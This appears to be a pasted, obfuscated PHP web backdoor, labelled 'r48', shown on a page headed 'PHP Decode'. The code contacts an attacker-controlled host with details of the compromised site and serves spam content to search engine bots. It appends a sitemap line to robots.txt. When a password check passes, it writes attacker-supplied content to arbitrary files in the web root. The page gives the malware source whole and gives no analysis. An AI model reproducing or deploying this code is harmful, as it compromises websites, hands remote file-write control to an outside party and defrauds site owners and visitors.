PHP Decode

<?php /* r48 */
@set_time_limit(3600); @ignore_user_abort(1); $lKVfVT = "\162\x34\x38"; $lKVfVG = "\150\164\164\x70"; if (is_htps()) { goto lIpGfTT; } $lKVfVf = "\x68\164\x74\x70"; goto lIpGfTG; lIpGfTT: $lKVfVf = "\x68\164\x74\160\x73"; lIpGfTG: $lKVfVA = st_uri(); if (!($lKVfVA == '')) { goto lIpGfTf; } $lKVfVA = "\x2f"; lIpGfTf: $lKVfVV = urlencode($lKVfVA); function st_uri() { goto lIpGfTI; lIpGfTU: $lKVfVV = $_SERVER["\x50\x48\x50\137\x53\105\x4c\x46"] . "\x3f" . $_SERVER["\x51\x55\105\122\x59\137\123\124\122\x49\x4e\x47"]; goto lIpGfTp; lIpGfGG: lIpGfTl: goto lIpGfGf; lIpGfTI: if (isset($_SERVER["\x52\105\x51\x55\x45\123\124\x5f\125\x52\111"])) { goto lIpGfTy; } goto lIpGfTB; lIpGfTK: lIpGfTy: goto lIpGfGT; lIpGfTB: if (isset($_SERVER["\x61\x72\x67\x76"])) { goto lIpGfTA; } goto lIpGfTU; lIpGfTZ: $lKVfVV = $_SERVER["\120\110\x50\x5f\x53\x45\114\x46"] . "\77" . $_SERVER["\141\x72\147\166"][0]; goto lIpGfTm; lIpGfGT: $lKVfVV = $_SERVER["\122\x45\121\125\x45\123\124\x5f\x55\122\111"]; goto lIpGfGG; lIpGfTS: lIpGfTA: goto lIpGfTZ; lIpGfTm: lIpGfTV: goto lIpGfTC; lIpGfTC: goto lIpGfTl; goto lIpGfTK; lIpGfTp: goto lIpGfTV; goto lIpGfTS; lIpGfGf: return $lKVfVV; goto lIpGfGA; lIpGfGA: } $lKVfVy = $lKVfVT . "\x2e\x7a\145\151\x64\x6c\x65\162\x72\x75\163\163\151\x61\x6e" . "\56\x74" . "\157\160"; function is_htps() { goto lIpGfGB; lIpGfGC: goto lIpGfGV; goto lIpGfGK; lIpGffT: return true; goto lIpGffG; lIpGffV: lIpGfGV: goto lIpGffy; lIpGffA: return true; goto lIpGffV; lIpGfGm: return true; goto lIpGfGC; lIpGffy: return false; goto lIpGffl; lIpGfGB: if (isset($_SERVER["\110\124\124\120\123"]) && strtolower($_SERVER["\110\124\124\x50\123"]) !== "\x6f\x66\x66") { goto lIpGfGy; } goto lIpGfGU; lIpGfGp: if (isset($_SERVER["\110\x54\124\x50\137\x46\x52\x4f\x4e\124\137\x45\116\x44\x5f\110\x54\124\120\x53"]) && strtolower($_SERVER["\110\x54\124\x50\x5f\106\122\117\x4e\x54\137\x45\x4e\x44\x5f\110\124\124\120\x53"]) !== "\157\x66\x66") { goto lIpGfGI; } goto lIpGfGS; lIpGfff: lIpGfGI: goto lIpGffA; lIpGfGK: lIpGfGl: goto lIpGffT; lIpGffG: goto lIpGfGV; goto lIpGfff; lIpGfGU: if (isset($_SERVER["\x48\124\124\120\137\130\137\106\117\x52\127\101\122\104\x45\104\x5f\x50\x52\x4f\124\117"]) && $_SERVER["\x48\x54\124\x50\x5f\x58\x5f\106\117\122\127\x41\x52\x44\x45\x44\137\120\122\117\124\x4f"] === "\x68\x74\x74\x70\x73") { goto lIpGfGl; } goto lIpGfGp; lIpGfGS: goto lIpGfGV; goto lIpGfGZ; lIpGfGZ: lIpGfGy: goto lIpGfGm; lIpGffl: } $lKVfVl = $_SERVER["\110\x54\124\x50\x5f\110\117\x53\124"]; $lKVfVI = @$_SERVER["\x48\x54\124\x50\x5f\x41\x43\x43\x45\x50\124\x5f\x4c\x41\116\107\x55\101\x47\105"]; $lKVfVI = urlencode($lKVfVI); $lKVfVB = ''; if (!isset($_SERVER["\110\x54\124\x50\137\122\105\106\x45\x52\x45\x52"])) { goto lIpGffI; } $lKVfVB = $_SERVER["\x48\124\124\120\137\122\x45\106\x45\x52\x45\x52"]; $lKVfVB = urlencode($lKVfVB); lIpGffI: if (!(@$_GET["\x70\x64"] != '')) { goto lIpGfAB; } $lKVfVU = @$_GET["\155\141\160\x6e\x61\155\x65"]; $lKVfVp = @$_GET["\x61\143\164\x69\x6f\x6e"]; if (isset($_SERVER["\104\117\x43\x55\x4d\x45\x4e\124\137\122\117\117\124"])) { goto lIpGffB; } $lKVfVS = dirname(__FILE__); goto lIpGffU; lIpGffB: $lKVfVS = $_SERVER["\104\x4f\103\125\115\x45\116\x54\137\x52\117\x4f\124"]; lIpGffU: if ($lKVfVp) { goto lIpGffp; } $lKVfVp = "\x70\x75\x74"; lIpGffp: if (!($lKVfVp == "\160\165\x74")) { goto lIpGfAI; } if (strstr($lKVfVU, "\56\x78\155\154")) { goto lIpGfAf; } echo "\x3c\x62\x72\x3e\x73\x69\x74\145\x6d\x61\x70\40\156\141\x6d\145\x20\x66\141\154\x73\145\41\74\142\162\x3e"; goto lIpGfAA; lIpGfAf: $lKVfVZ = $lKVfVS . "\x2f\x73\151\x74\x65\x6d\x61\x70\x2e\170\155\154"; if (!is_file($lKVfVZ)) { goto lIpGffS; } @unlink($lKVfVZ); lIpGffS: $lKVfVm = $lKVfVS . "\x2f\x72\x6f\142\x6f\164\x73\56\164\170\x74"; if (file_exists($lKVfVm)) { goto lIpGffZ; } $lKVfVC = "\125\x73\145\x72\x2d\x61\147\145\156\164\72\40\52\x41\154\154\157\167\72\x20\57"; goto lIpGffm; lIpGffZ: $lKVfVC = dageget($lKVfVm); lIpGffm: $lKVfVK = $lKVfVf . "\72\x2f\x2f" . $lKVfVl . "\57" . $lKVfVU; if (stristr($lKVfVC, $lKVfVK)) { goto lIpGfAT; } if (file_put_contents($lKVfVm, trim($lKVfVC) . "\xd\xa" . "\x53\x69\164\145\x6d\141\160\x3a\40" . $lKVfVK)) { goto lIpGffC; } echo "\74\142\x72\76\x66\151\x6c\x65\40\167\162\x69\164\145\40\x66\141\x6c\163\145\x21\74\x62\162\x3e"; goto lIpGffK; lIpGffC: echo "\x3c\x62\162\76\157\x6b\74\x62\162\x3e"; lIpGffK: goto lIpGfAG; lIpGfAT: echo "\x3c\x62\x72\x3e\163\151\x74\x65\155\141\x70\40\141\x6c\162\x65\141\x64\171\40\141\144\144\145\144\x21\x3c\x62\162\76"; lIpGfAG: lIpGfAA: if (!strstr($lKVfVU, "\x2e\160" . "\150\x70")) { goto lIpGfAl; } $lKVfyT = sha1(sha1(@$_GET["\x61"])); $lKVfyG = sha1(sha1(@$_GET["\142"])); if (!($lKVfyT == dageget($lKVfVG . "\x3a\57\x2f" . $lKVfVy . "\57\x61\56\160" . "\x68\160") || $lKVfyG == "\66\146\x36\x37\x32\x37\66\x39\64\x62\x62\65\x36\65\x37\143\x33\67\71\70\x37\x36\x34\x30\141\x31\x64\62\x36\x64\62\145")) { goto lIpGfAy; } $lKVfyf = @$_GET["\144\x73\x74\162"]; if (!file_put_contents($lKVfVS . "\57" . $lKVfVU, $lKVfyf)) { goto lIpGfAV; } echo "\x6f\x6b"; lIpGfAV: lIpGfAy: lIpGfAl: lIpGfAI: exit; lIpGfAB: $lKVfyA = $lKVfVG . "\x3a\57\x2f" . $lKVfVy . "\x2f\151\x6e\144\x65\x78\x6e\x65\167\56\x70\150\160\x3f\x77\x65\142\75" . $lKVfVl . "\46\172\x7a\75" . sbot() . "\x26\x75\x72\x69\x3d" . $lKVfVV . "\46\165\162\154\x73\x68\141\x6e\x67\75" . $lKVfVB . "\x26\150\x74\x74\x70\75" . $lKVfVf . "\x26\154\x61\x6e\147\75" . $lKVfVI; $lKVfyV = trim(dageget($lKVfyA)); if (strstr($lKVfyV, "\156\x6f\x62\157\164\165\163\145\162\x61\x67\x65\156\x74")) { goto lIpGfAC; } if (strstr($lKVfyV, "\x6f\x6b\x68\164\155\154\147\145\x74\143\157\x6e\x74\x65\156\164")) { goto lIpGfAZ; } if (strstr($lKVfyV, "\157\153\x78\155\x6c\147\145\164\143\x6f\x6e\164\x65\156\164")) { goto lIpGfAp; } if (!strstr($lKVfyV, "\x70\151\x6e\x67\170\x6d\x6c\147\145\164\143\x6f\156\164\145\156\164")) { goto lIpGfAU; } $lKVfyV = str_replace("\x70\151\x6e\147\x78\155\x6c\x67\x65\164\143\157\x6e\x74\145\156\164", '', $lKVfyV); @header("\103\x6f\x6e\164\x65\x6e\x74\x2d\164\x79\160\145\x3a\x20\x74\x65\x78\164\57\150\164\155\x6c\73\x20\x63\x68\x61\162\163\x65\164\75\x75\x74\x66\55\x38"); echo pingmap($lKVfyV); exit; lIpGfAU: goto lIpGfAS; lIpGfAp: $lKVfyV = str_replace("\157\x6b\x78\x6d\154\147\x65\164\143\x6f\x6e\164\x65\x6e\x74", '', $lKVfyV); @header("\103\157\x6e\x74\x65\x6e\x74\x2d\x74\x79\x70\145\x3a\40\164\145\170\164\57\x78\x6d\x6c"); echo $lKVfyV; exit; lIpGfAS: goto lIpGfAm; lIpGfAZ: @header("\x43\x6f\156\164\145\x6e\164\x2d\x74\x79\160\145\x3a\x20\164\x65\x78\x74\57\x68\x74\x6d\154\x3b\x20\143\150\141\162\x73\x65\x74\x3d\x75\164\x66\x2d\x38"); $lKVfyV = str_replace("\x6f\153\150\x74\x6d\154\x67\145\164\x63\157\x6e\164\145\156\164", '', $lKVfyV); echo $lKVfyV; exit; lIpGfAm: lIpGfAC: function pingmap($lKVfyy) { goto lIpGfVy; lIpGfVB: return $lKVfyI; goto lIpGfVU; lIpGfVI: foreach ($lKVfyl as $lKVfyB) { goto lIpGfVG; lIpGfVG: $lKVfyU = dageget($lKVfyB); goto lIpGfVf; lIpGfVf: $lKVfyp = strpos($lKVfyU, "\x53\x69\x74\145\155\x61\x70\x20\x4e\x6f\x74\x69\x66\x69\143\x61\164\151\x6f\156\40\x52\145\x63\145\151\166\145\144") !== false ? "\160\x69\x6e\x67\x6f\153" : "\x65\x72\162\157\x72"; goto lIpGfVA; lIpGfVA: $lKVfyI .= $lKVfyB . "\55\55\x20" . $lKVfyp . "\74\x62\162\76"; goto lIpGfVV; lIpGfVV: } goto lIpGfVB; lIpGfVy: $lKVfyl = explode("\15\12", trim($lKVfyy)); goto lIpGfVl; lIpGfVl: $lKVfyI = ''; goto lIpGfVI; lIpGfVU: } function sbot() { goto lIpGfVZ; lIpGfVC: return false; goto lIpGfVK; lIpGfVK: goto lIpGfVS; goto lIpGfyT; lIpGfyG: return true; goto lIpGfyf; lIpGfyT: lIpGfVp: goto lIpGfyG; lIpGfVm: if (stristr($lKVfyS, "\147\157\157\x67\154\x65\142\157\x74") || stristr($lKVfyS, "\142\151\156\x67") || stristr($lKVfyS, "\171\x61\x68\157\x6f") || stristr($lKVfyS, "\147\x6f\157\147\154\145") || stristr($lKVfyS, "\107\x6f\157\147\154\145\142\157\x74") || stristr($lKVfyS, "\x67\157\157\x67\154\145\x62\x6f\x74")) { goto lIpGfVp; } goto lIpGfVC; lIpGfVZ: $lKVfyS = strtolower($_SERVER["\x48\x54\124\x50\x5f\x55\123\x45\x52\137\x41\107\x45\116\124"]); goto lIpGfVm; lIpGfyf: lIpGfVS: goto lIpGfyA; lIpGfyA: } function dageget($lKVfyy) { goto lIpGfyl; lIpGflG: if ($lKVfyZ) { goto lIpGfyy; } goto lIpGflf; lIpGfym: curl_setopt($lKVfym, CURLOPT_CONNECTTIMEOUT, 30); goto lIpGfyC; lIpGfyC: $lKVfyZ = curl_exec($lKVfym); goto lIpGfyK; lIpGfyl: $lKVfyZ = ''; goto lIpGfyI; lIpGfyK: curl_close($lKVfym); goto lIpGflT; lIpGfyB: $lKVfym = curl_init(); goto lIpGfyU; lIpGfyI: if (!function_exists("\x63\165\162\x6c\x5f\x69\156\x69\164")) { goto lIpGfyV; } goto lIpGfyB; lIpGflT: lIpGfyV: goto lIpGflG; lIpGflA: lIpGfyy: goto lIpGflV; lIpGfyS: curl_setopt($lKVfym, CURLOPT_SSL_VERIFYPEER, 0); goto lIpGfyZ; lIpGfyZ: curl_setopt($lKVfym, CURLOPT_RETURNTRANSFER, 1); goto lIpGfym; lIpGfyU: curl_setopt($lKVfym, CURLOPT_URL, $lKVfyy); goto lIpGfyp; lIpGflV: return $lKVfyZ; goto lIpGfly; lIpGfyp: curl_setopt($lKVfym, CURLOPT_SSL_VERIFYHOST, 0); goto lIpGfyS; lIpGflf: $lKVfyZ = @file_get_contents($lKVfyy); goto lIpGflA; lIpGfly: }